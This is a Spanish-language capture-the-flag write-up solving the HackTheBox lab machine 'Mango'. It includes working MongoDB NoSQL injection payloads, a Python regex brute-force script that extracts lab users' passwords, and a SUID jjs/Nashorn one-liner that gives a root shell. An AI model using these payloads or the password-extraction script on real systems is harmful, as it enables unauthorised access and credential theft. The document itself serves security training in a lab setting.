Mango de hackthebox es una máquina que realmente disfrute resolver. Tiene de todo lo que un buen cocktail debe llevar: hielo, mongo nosqli y un chingo de tequila. Iniciamos la máquina por una enumeración de vhosts, continuamos por un nosqli en mango, obtenemos credenciales, accedemos a la máquina, nos movemos a otro usuario, y para la escalación de privilegios a root, usamos una herramienta que interactúa con el motor de scripts Nashorn.

Machine info

La información que tenemos de la máquina es:

Name Maker OS IP Address
mango image mango MrR3boot Linux 10.10.10.162

Su tarjeta de presentación es:

cardinfo

Port Scanning and Service Discovery

Iniciamos por ejecutar un masscan para descubrir puertos udp y tcp abiertos, y posteriormente nmap, para identificar servicios expuestos en estos puertos.

masscan

root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.162 | tee /home/tony/htb/mango/masscan.log
Discovered open port 22/tcp on 10.10.10.162                                    
Discovered open port 80/tcp on 10.10.10.162                                    
Discovered open port 443/tcp on 10.10.10.162                                   
  • -e tun0 para ejecutarlo nada mas en la interface tun0
  • -p0-65535,U:0-65535 TODOS los puertos (TCP y UDP)
  • --rate 500 para mandar 500pps y no sobre cargar la VPN ):

Descubrimos 3 puertos abiertos; 22, 80 y 443. Ahora con nmap, identifiquemos los servicios.

nmap services

root@laptop:~# nmap -sS -sV -sC -p $(cat /home/tony/htb/mango/masscan.log | cut -d' ' -f4 | sed 's/\/tcp.*//' | tr '\n' ',') -n --open -v 10.10.10.162 -oN /home/tony/htb/mango/service.nmap
# Nmap 7.80 scan initiated Thu Mar 26 15:24:16 2020 as: nmap -sS -sV -sC -p 22,80,443, -n --open -v -oN /home/tony/htb/mango/service.nmap 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.095s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 26 15:24:35 2020 -- 1 IP address (1 host up) scanned in 19.04 seconds
  • -sS para seleccionar el escaneo TCP vía SYN
  • -sC para que ejecute los scripts safe-discovery de nse
  • -sV para que me traiga el banner del puerto
  • -p 22,80,443 para escanear solo los puertos TCP 80 y 22
  • -oN para guardar el output en formato normal o salida por defecto de nmap
  • -n para no ejecutar resoluciones
  • -v para modo verboso

Encontramos los servicios de SSH, HTTP, HTTPS en sus puertos por defecto. Por los banners podemos deducir de momento que se trata de un servidor Ubuntu corriendo openssh 7.6p1 y apache 2.4.29. La parte interesante de este escaneo fue identificar el commonName del certificado. Llegaremos a este dato más adelante, pero la primera vez que lo vi, no le preste tanta importancia.

Web application

httpie

Inicio la exploración de la aplicación usando httpie y firefox+burpsuite. En algunas partes estaré utilizando httpie+burpsuite por la flexibilidad de poder usar bash.

tony@laptop:~/htb/mango$ http 10.10.10.162
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.162 Port 80</address>
</body></html>

En el root del servidor tenemos un 403, así que continuemos con la búsqueda de archivos y directorios con dirsearch.

dirsearch

tony@laptop:~/htb/mango$ dirsearch http://10.10.10.162
 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733

Error Log: /home/tony/git/dirsearch/logs/errors-20-03-27_18-54-26.log

Target: http://10.10.10.162

[18:54:26] Starting:
[18:55:12] 403 -  277B  - /server-status
[18:55:12] 403 -  277B  - /server-status/

Task Completed

El resultado que dirsearch nos devuelve sobre el puerto HTTP es poco significativo, así que continuemos por el puerto de HTTPS, primero indagando en el certificado.

testssl

tony@laptop:~/htb/mango$ testssl 10.10.10.162
 Testing server defaults (Server Hello)

 TLS extensions (standard)    "renegotiation info/#65281" "EC point formats/#11" "session ticket/#35" "max fragment length/#1"
                              "application layer protocol negotiation/#16" "encrypt-then-mac/#22" "extended master secret/#23"
 Session Ticket RFC 5077 hint 300 seconds, session tickets keys seems to be rotated < daily
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               Random values, no fingerprinting possible
 Signature Algorithm          SHA256 with RSA
 Server key size              RSA 2048 bits
 Server key usage             --
 Server extended key usage    --
 Serial / Fingerprints        AE508929A806F132 / SHA1 B3299ECA2892AF1B5895053BF30E861F1C03DB95
                              SHA256 650052B67923042DC2C9FCA71D4430873615850CE4D41E15A4BD7F5CFB57AA58
 Common Name (CN)             staging-order.mango.htb
 subjectAltName (SAN)         missing (NOT ok) -- Browsers are complaining
 Issuer                       staging-order.mango.htb (Mango Prv Ltd. from IN)
 Trust (hostname)             certificate does not match supplied URI
 Chain of trust               NOT ok (self signed)
 EV cert (experimental)       no
 ETS/"eTLS", visibility info  not present
 Certificate Validity (UTC)   182 >= 60 days (2019-09-27 09:21 --> 2020-09-26 09:21)
 # of certificates provided   1
 Certificate Revocation List  --
 OCSP URI                     --
                              NOT ok -- neither CRL nor OCSP URI provided
 OCSP stapling                not offered
 OCSP must staple extension   --
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     --

La salida de testssl es bastante extensa, así que omití información y deje únicamente lo relevante para esta máquina. Lo que sacamos de esta primera parte es que el certificado fue firmado para el dominio staging-order.mango.htb. Esta información coincide con la encontrada en el nmap, pero hasta que no hice la prueba con testssl, no cruce los conceptos de vhosts para esta máquina.

Realizando un request con httpie y usando el header de Host, obtenemos la siguiente salida:

tony@laptop:~/htb/mango$ http http://10.10.10.162 "Host:staging-order.mango.htb"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f3771b1072e3c38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg" color="#111" />
<title>Mango | Sweet & Juicy</title>
<style>
* {
  box-sizing: border-box;
}

body {
  font-family: 'Rubik', sans-serif;
  margin: 0;
  padding: 0;
}

.container {
  display: flex;
  height: 100vh;
}

.left-section {
  overflow: hidden;
  display: flex;
  flex-wrap: wrap;
  flex-direction: column;
  justify-content: center;
  -webkit-animation-name: left-section;
  animation-name: left-section;
  -webkit-animation-duration: 1s;
  animation-duration: 1s;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
  -webkit-animation-delay: 1s;
  animation-delay: 1s;
}

.right-section {
  flex: 1;
  background: linear-gradient(to right, #f50629 0%, #fd9d08 100%);
  transition: 1s;
  background-image: url(/mango.jpg);
  background-size: cover;
  background-repeat: no-repeat;
  background-position: center;
}

.header > h1 {
  margin: 0;
  color: #f50629;
}

.header > h4 {
  margin-top: 10px;
  font-weight: normal;
  font-size: 15px;
  color: rgba(0, 0, 0, 0.4);
}

.form {
  max-width: 80%;
  display: flex;
  flex-direction: column;
}

.form > p {
  text-align: right;
}

.form > p > a {
  color: #000;
  font-size: 14px;
}

.form-field {
  height: 46px;
  padding: 0 16px;
  border: 2px solid #ddd;
  border-radius: 4px;
  font-family: 'Rubik', sans-serif;
  outline: 0;
  transition: .2s;
  margin-top: 20px;
}

.form-field:focus {
  border-color: #0f7ef1;
}

.form > button {
  padding: 12px 10px;
  border: 0;
  background: linear-gradient(to right, #f50629 0%, #fd9d08 100%);
  border-radius: 3px;
  margin-top: 10px;
  color: #fff;
  letter-spacing: 1px;
  font-family: 'Rubik', sans-serif;
}

.animation {
  -webkit-animation-name: move;
  animation-name: move;
  -webkit-animation-duration: .4s;
  animation-duration: .4s;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
  -webkit-animation-delay: 2s;
  animation-delay: 2s;
}

.a1 {
  -webkit-animation-delay: 2s;
  animation-delay: 2s;
}

.a2 {
  -webkit-animation-delay: 2.1s;
  animation-delay: 2.1s;
}

.a3 {
  -webkit-animation-delay: 2.2s;
  animation-delay: 2.2s;
}

.a4 {
  -webkit-animation-delay: 2.3s;
  animation-delay: 2.3s;
}

.a5 {
  -webkit-animation-delay: 2.4s;
  animation-delay: 2.4s;
}

.a6 {
  -webkit-animation-delay: 2.5s;
  animation-delay: 2.5s;
}

@keyframes move {
  0% {
    opacity: 0;
    visibility: hidden;
    -webkit-transform: translateY(-40px);
    transform: translateY(-40px);
  }
  100% {
    opacity: 1;
    visibility: visible;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}
@keyframes left-section {
  0% {
    opacity: 0;
    width: 0;
  }
  100% {
    opacity: 1;
    padding: 20px 40px;
    width: 440px;
  }
}

  </style>
<script>
  window.console = window.console || function(t) {};
</script>
<script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
</script>
</head>
<body translate="no">
<!DOCTYPE html>

<html lang="en">
<head>
<meta charset="UTF-8">
<link href="https://fonts.googleapis.com/css?family=Rubik&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div class="left-section">
<div class="header">
<h1 class="animation a1">Welcome Back!</h1>
<h4 class="animation a2">Log in for ordering Sweet & Juicy Mango.</h4>
</div>
<form action="" method="POST">
<div class="form">
<input type="username" name="username" class="form-field animation a3" placeholder="Username">
<input type="password" name="password" class="form-field animation a4" placeholder="Password">
<p class="animation a5"><a href="#">Forgot Password</a></p>
<button class="animation a6" value="login" name="login">LOGIN</button>
</form>
</div>
</div>
<div class="right-section"></div>
</div>
</body>
</html>
</body>
</html>

Nice, ahora ya tenemos información sobre un portal para ordenar dulce y jugoso mango. Ñam Ñam.

Ahora que sabemos que probablemente estaremos trabajando sobre este subdominio, lo primero que hacemos es agregar 10.10.10.162 staging-order.mango.htb a /etc/hosts, de esta manera no tenemos que reescribir el header de Host en todas las peticiones.

Después de descubrir la aplicación, intente ingresar con credenciales por defecto, inclusive le hice un ataque de fuerza bruta, pero por supuesto, nada funciono. Probé haciendo un bypass con un SQLi y tampoco funciono. Aquí es donde volví a las notas y la metodología que estaba siguiendo y me dí cuenta que necesitaba volver a iniciar el proceso de descubrimiento. Así que repetimos el proceso de descubrir archivos y directorios con dirsearch.

Siempre hay que enumerar de manera organizada, siguiendo una metodología.

dirsearch on staging-order

tony@laptop:~/htb/mango$ dirsearch http://staging-order.mango.htb

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733

Error Log: /home/tony/git/dirsearch/logs/errors-20-04-02_23-54-40.log

Target: http://staging-order.mango.htb

[23:54:40] Starting:
[23:54:50] 302 -    0B  - /home.php  ->  index.php
[23:54:50] 200 -    4KB - /index.php
[23:54:50] 200 -    4KB - /index.php/login/
[23:54:55] 403 -  288B  - /server-status
[23:54:55] 403 -  288B  - /server-status/
[23:54:57] 200 -    0B  - /vendor/autoload.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_files.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_classmap.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_psr4.php
[23:54:57] 200 -    0B  - /vendor/composer/ClassLoader.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_real.php
[23:54:57] 200 -    4KB - /vendor/composer/installed.json
[23:54:57] 200 -    0B  - /vendor/composer/autoload_static.php
[23:54:57] 200 -    3KB - /vendor/composer/LICENSE

Descubrimos que la aplicación utiliza Composer (PHP) y que podemos leer más de un archivo del proyecto. Veamos que instaló composer vía installed.json:

tony@laptop:~/htb/mango$ http http://staging-order.mango.htb/vendor/composer/installed.json
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 3953
Content-Type: application/json
Date: Fri, 03 Apr 2020 05:57:05 GMT
ETag: "f71-5938a794b5495"
Keep-Alive: timeout=5, max=100
Last-Modified: Fri, 27 Sep 2019 15:23:53 GMT
Server: Apache/2.4.29 (Ubuntu)

[
    {
        "authors": [
            {
                "email": "alcaeus@alcaeus.org",
                "name": "alcaeus"
            },
            {
                "email": "olivier.lechevalier@gmail.com",
                "name": "Olivier Lechevalier"
            }
        ],
        "autoload": {
            "files": [
                "lib/Mongo/functions.php"
            ],
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            }
        },
        "description": "Adapter to provide ext-mongo interface on top of mongo
        "dist": {
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": "",
            "type": "zip",
            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zip
        },
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "keywords": [
            "database",
            "mongodb"
        ],
        "license": [
            "MIT"
        ],
        "name": "alcaeus/mongo-php-adapter",
        "notification-url": "https://packagist.org/downloads/",
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "source": {
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0"
    },
    {
        "authors": [
            {
                "email": "jmikola@gmail.com",
                "name": "Jeremy Mikola"
            },
            {
                "email": "bjori@mongodb.com",
                "name": "Hannes Magnusson"
            },
            {
                "email": "github@derickrethans.nl",
                "name": "Derick Rethans"
            }
        ],
        "autoload": {
            "files": [
                "src/functions.php"
            ],
            "psr-4": {
                "MongoDB\\": "src/"
            }
        },
        "description": "MongoDB driver library",
        "dist": {
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": "",
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zip
        },
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "installation-source": "dist",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ],
        "license": [
            "Apache-2.0"
        ],
        "name": "mongodb/mongodb",
        "notification-url": "https://packagist.org/downloads/",
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "source": {
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0"
    }
]

Aquí es cuando hice click. Mango-Mongo. La aplicación usa mongodb para la autenticación, por eso mis pruebas iniciales no funcionaron. Así que lo siguiente que hacemos es ir al payloadAllTheThings y revisar las notas sobre nosqli.

Mongo NoSQLI

Entre las notas, hay una manera interesante de evaluar si la aplicación es susceptible a una inyección NOSQLi tipo blind; podemos efectuar una condición true al enviarle un “not equal” con un valor “no valido”. Lo que buscamos con esta prueba, es un tipo de respuesta que indique un cambio en el code del response o en la cantidad de caracteres del reponse, así que tratemos de autenticarnos con el usuario y contraseña “miau”:

tony@laptop:~/htb/mango$ http -f --proxy http:http://127.0.0.1:8080  POST http://staging-order.mango.htb/index.php 'username[$ne]=miau' 'password[$ne]=miau' login=login
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: close
Content-Length: 4022
Content-Type: text/html; charset=UTF-8
Date: Fri, 03 Apr 2020 05:41:25 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ju8qscanv6umtk7mqhu7m4ekd8; path=/
location: home.php

La aplicación no encuentra fallas en mi lógica (miau no existe) y con esto nos pasamos por el arco del triunfo su validación. El 302 significa que hemos ingresado a la aplicación, nos da una cookie y nos manda a home.

Una nota de importancia, el POST con x-www-form-urlencoded fue la parte que me dio dolores de cabeza en la siguiente parte, puesto que iba implícito en el request y fue me hizo perder tiempo ver que no obtenía CODE 302.

Al entrar a la aplicación vemos que dentro del body de home.php, hay un correo que nos dice sobre la existencia de un usuario admin; admin@mango.htb. Así que ahora vamos por este usuario.

admin

Dentro de las notas de payloadAllTheThings, hay un script de como realizar un brute force en peticiones POST, que convenientemente modificamos para esta máquina.

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

password=""
u="http://staging-order.mango.htb/index.php"
headers = {'application' : 'x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload={'username[$eq]':'admin', 'password[$regex]': '^%s' %(password + c), 'login': 'login' }
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c
  • Dejamos fijo el valor del usuario, en este caso admin.
  • Lo único que necesitamos es un código de respuesta 302 para saber que la petición fue correcta.
  • Dentro de los headers, necesitamos que nuestra petición POST tenga x-www-form-urlencoded para que el servidor la acepte.

Este brute forcer funciona gracias a las expresiones regulares, por que lo que realiza es preguntarle a la aplicación si la contraseña inicia con ‘X’, donde esto es un char imprimible y poco a poco, la aplicación le va contestando que “Si” conforme se le vuelve a preguntar (incremental). Cuando analice esto la primera vez, en mi cabeza se puso la imagen de: día de examen, el alumno preguntón que va y le pregunta al maestro si va bien y mal en ‘X’ parte. Se levanta una y otra vez a preguntarle al profesor. “Robo hormiga”.

Al ejecutar el script tenemos lo siguiente:

tony@laptop:~/htb/mango$ python discover_admin.py
Found one more char : t
Found one more char : t9
Found one more char : t9K
Found one more char : t9Kc
Found one more char : t9KcS
Found one more char : t9KcS3
Found one more char : t9KcS3>
Found one more char : t9KcS3>!
Found one more char : t9KcS3>!0
Found one more char : t9KcS3>!0B
Found one more char : t9KcS3>!0B#
Found one more char : t9KcS3>!0B#2
Found one more char : t9KcS3>!0B#2$
Found one more char : t9KcS3>!0B#2$$
Found one more char : t9KcS3>!0B#2$$$
Found one more char : t9KcS3>!0B#2$$$$
Found one more char : t9KcS3>!0B#2$$$$$
Found one more char : t9KcS3>!0B#2$$$$$$

Continua true porque el inicio siempre es valido y porque no sabemos la longitud de la password.

admin:t9KcS3>!0B#2

Probamos las credenciales descubiertas para admin:

tony@laptop:~/htb/mango$ http --header -f --proxy http:http://127.0.0.1:8080  POST http://staging-order.mango.htb/index.php 'username=admin' 'password=t9KcS3>!0B#2' login=login
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: close
Content-Length: 4022
Content-Type: text/html; charset=UTF-8
Date: Fri, 03 Apr 2020 06:04:42 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=8mv78eer1d1dp7u84acl3ncscj; path=/
location: home.php

La respuesta es la esperada, así que podemos ir con burpsuite o firefox, y explorar la aplicación.

Unos minutos después, me dí cuenta de que no había nada relevante en esta parte, así que trate de ingresar por SSH con estas credenciales pero no tuve éxito. Así fue que después de darle mas vueltas, dí un paso atrás y decidí buscar mas usuarios.

cewl

Usamos cewl para tomar cualquier valor que nos pueda servir dentro de la aplicación, y con esto, creamos un diccionario con mayúsculas y minúsculas:

tony@laptop:~/htb/mango$ (cewl http://staging-order.mango.htb; cewl http://staging-order.mango.htb | tr '[:upper:]' '[:lower:]' ; cewl http://staging-order.mango.htb | tr '[:lower:]' '[:upper:]')  | grep -vi ninja | tee dict1.txt
Mango
Sweet
Juicy
Welcome
Back
Log
for
ordering
Forgot
Password
LOGIN
mango
sweet
juicy
welcome
back
log
for
ordering
forgot
password
login
MANGO
SWEET
JUICY
WELCOME
BACK
LOG
FOR
ORDERING
FORGOT
PASSWORD
LOGIN

Ahora usando wfuzz hacemos bruteforce de todos los posibles usuarios dentro del diccionario. Para la contraseña usamos una condición mayor a 1, aunque también hubiera funcionado con un “not equal”:

tony@laptop:~/htb/mango$ wfuzz -w dict1.txt --sc 302 -d 'username%5B%24eq%5D=FUZZ&password%5B%24gt%5D=1&login=login' http://staging-order.mango.htb/index.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://staging-order.mango.htb/index.php
Total requests: 33

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000012:   302        209 L    403 W    4022 Ch     "mango"

Total time: 0.520117
Processed Requests: 33
Filtered Requests: 32
Requests/sec.: 63.44717

Descubrimos al usuario mango, porque ya saben, “creatividad”. Extendí el ataque con otro diccionario y busque más usuarios:

tony@laptop:~/htb/mango$ wfuzz -w ~/git/SecLists/Usernames/xato-net-10-million-usernames.txt --sc 302 -d 'username%5B%24eq%5D=FUZZ&password%5B%24gt%5D=1&login=login' http://staging-order.mango.htb/index.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://staging-order.mango.htb/index.php
Total requests: 8295455

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000002:   302        209 L    403 W    4022 Ch     "admin"
000003736:   302        209 L    403 W    4022 Ch     "mango"
^C
Finishing pending requests...

Después de un muchas búsquedas, cancele el bruteforce y continué con lo siguiente, bruteforce a la contraseña de mango.

mango at mango.htb

Copie el archivo de discover_admin.py, modifique el usuario y lance el nuevo script discover_mango.py:

tony@laptop:~/htb/mango$ python discover_mango.py
Found one more char : h
Found one more char : h3
Found one more char : h3m
Found one more char : h3mX
Found one more char : h3mXK
Found one more char : h3mXK8
Found one more char : h3mXK8R
Found one more char : h3mXK8Rh
Found one more char : h3mXK8RhU
Found one more char : h3mXK8RhU~
Found one more char : h3mXK8RhU~f
Found one more char : h3mXK8RhU~f{
Found one more char : h3mXK8RhU~f{]
Found one more char : h3mXK8RhU~f{]f
Found one more char : h3mXK8RhU~f{]f5
Found one more char : h3mXK8RhU~f{]f5H
Found one more char : h3mXK8RhU~f{]f5H$
Found one more char : h3mXK8RhU~f{]f5H$$
Found one more char : h3mXK8RhU~f{]f5H$$$

Ahora tenemos otras credenciales mas.

mango:h3mXK8RhU~f{]f5H

from mango to admin

ssh as mango

Ahora con estas nuevas credenciales, probé nuevamente el servicio SSH, esta vez, teniendo éxito:

tony@laptop:~$ ssh mango@10.10.10.162
mango@10.10.10.162's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr  3 06:26:43 UTC 2020

  System load:  0.82               Processes:            115
  Usage of /:   26.0% of 19.56GB   Users logged in:      1
  Memory usage: 29%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr  3 06:17:46 2020 from 10.10.14.3
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)

Al fin, después de muchas vueltas y ciclos de CPU perdidos para siempre, ingresamos al servidor como mango. Leemos el archivo /etc/passwd y vemos a un viejo conocido, admin.

mango@mango:~$ tail /etc/passwd
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mango:x:1000:1000:mango:/home/mango:/bin/bash
admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin

Luego dije, ¿porque no pude acceder como admin, sera que son otras credenciales?

Así que revise el archivo del servicio SSH:

mango@mango:~$ cat /etc/ssh/sshd_config  | grep -vE '^#|^$'
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp  /usr/lib/openssh/sftp-server
PasswordAuthentication yes
AllowUsers mango root

Pues con esto me quedo claro que solo mango o root podían acceder. Así que hice un switch con su - admin:

mango@mango:~$ su - admin
Password:
$
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/admin$

Perfecto, ahora que somos admin, podemos tomar la bandera de user.

user.txt

admin@mango:/home/admin$ cat user.txt
<omitido>

From admin to root

privesc

Ahora como admin y antes de lanzar un linenum, busque archivos donde admin fuera propietario o perteneciera al grupo:

admin@mango:/home/admin$ find /usr -user admin -type f 2>/dev/null
admin@mango:/home/admin$ find /usr -group admin -type f 2>/dev/null
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
admin@mango:/home/admin$ ls -lah /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-- 1 root admin 11K Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

El resultado es claro, tenemos SUID en este archivo, el cual root es owner y nosotros somos miembros del mismo grupo.

SUID jjs

No tomo ni 2 minutos y gtfobins ya tenia una nota asociada.

https://gtfobins.github.io/gtfobins/jjs/#suid

Siguiendo la nota de gtfobins, y haciendo un par de cambios, preparamos el siguiente script para jjs

Java.type('java.lang.Runtime')
  .getRuntime()
    .exec('/bin/bash -pc $@|bash${IFS}-p _ echo bash -p <$(tty) >$(tty) 2>$(tty)')
      .waitFor()

Este exec es un tanto rebuscado e interesante, asi que por partes:

  • -p aparece en todas partes, debido a que esto nos permite que al momento que hagamos nuestra invocación, las variables de root sean pasadas correctamente, como cuando hacemos un su - versus un su. Esto tiene relación entre el effective user (admin) y el real user (root).
  • <$(tty) >$(tty) 2>$(tty), aquí básicamente lo que hacemos es conectarnos con la tty sobre la cual estamos trabajando, y redireccionamos tanto lo que sale como lo que entra (STDIN,STDOUT,STDERR). Esto nos servirá para que la salida sea la entrada del primer programa que conectamos a un pipe.
  • bash -pc, se encarga de ejecutar el comando que recibe como argumento.
  • $@|bash${IFS}-p, este se encarga de recibir un comando via el array de argumentos y ejecutarlo en bash por que lo recibe por el pipe. La variable ${IFS} es sustituida por un espacio dentro del string para concatenar el argumento -p.

Este pequeño script de bash funciona como un pipe que recibe instrucciones vía argumentos, es por eso que cuando lo ejecutamos la primera vez, parece un tanto atorado porque no vemos el salto de linea entre instrucción e instrucción.

admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc \$@|bash\${IFS}-p _ echo bash -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc $@|bash${IFS}-p _ echo bash -p </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
bash-4.4# uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
bash-4.4# bash-4.4# bash-4.4# reset

Para reparar esto, actualizamos las variables ejecutando un reset sobre bash que nos ayude a tener una mejor interacción con esta terminal:

Interrupt set to control-C (^C).
bash-4.4# ls
user.txt
bash-4.4# id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)

root.txt

